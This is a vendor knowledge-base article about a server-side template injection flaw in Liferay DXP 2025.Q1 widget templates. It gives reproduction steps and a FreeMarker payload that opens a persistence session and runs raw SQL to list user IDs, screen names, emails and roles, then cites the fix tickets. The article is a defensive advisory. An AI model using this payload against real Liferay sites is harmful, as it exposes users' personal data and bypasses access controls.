legacy-knowledge-base
公開されました Sep. 10, 2025

User ID's and Emails populating due to SSTI vulnerability

written-by

Adrienne Lao

How To articles are not official guidelines or officially supported documentation. They are community-contributed content and may not always reflect the latest updates to Liferay DXP. We welcome your feedback to improve How To articles!

While we make every effort to ensure this Knowledge Base is accurate, it may not always reflect the most recent updates or official guidelines.We appreciate your understanding and encourage you to reach out with any feedback or concerns.

legacy-article

learn-legacy-article-disclaimer-text

Issue

  1. We've found an undesirable behvavior when using new widget templates on a page. When using the expandoColumnLocalService.CTPersistence.openNewSession(null) function, the the direct SQL query execution within the template itself, bypasses the standard access controls and exposes sensitive backend data.
  2. Steps to reproduce:

    1. Design > Templates > Widget Templates > Blogs Template "Test Blog Template"
    2. Insert the following payload:
    <#assign s = expandoColumnLocalService.CTPersistence.openNewSession(null)>
    
    <#attempt>
    
    <#list s.createSQLQuery("SELECT u.userId, u.screenName, u.emailAddress,
    
    r.name FROM User_ u LEFT JOIN Users_Roles ur ON u.userId = ur.userId LEFT
    
    JOIN Role_ r ON ur.roleId = r.roleId").list() as row>
    
    ID: ${row[0]} | Nome: ${row[1]} | Email: ${row[2]} | Role: ${row[3]!'-'}
    
    <br>
    
    </#list>
    
    <#recover>
    
    Error
    
    </#attempt>

    3. Pages > New > Insert "Blogs" Widget

    4. Configuration > Display Blog Template > Select "Test Blog Template"

  3. Observe that the IDs are populating on the page as shown in my screenshot.

  4. Screenshot from 2025-07-03 15-38-09.png

Environment

  • 2025.Q1

Resolution

  • This undesirable behavior has been documented and fixed in LPP-59542. Please request a hotfix including the LPP.
  • A fix is currently being addressed and worked on: LPD-61382.

 

 

did-this-article-resolve-your-issue

legacy-knowledge-base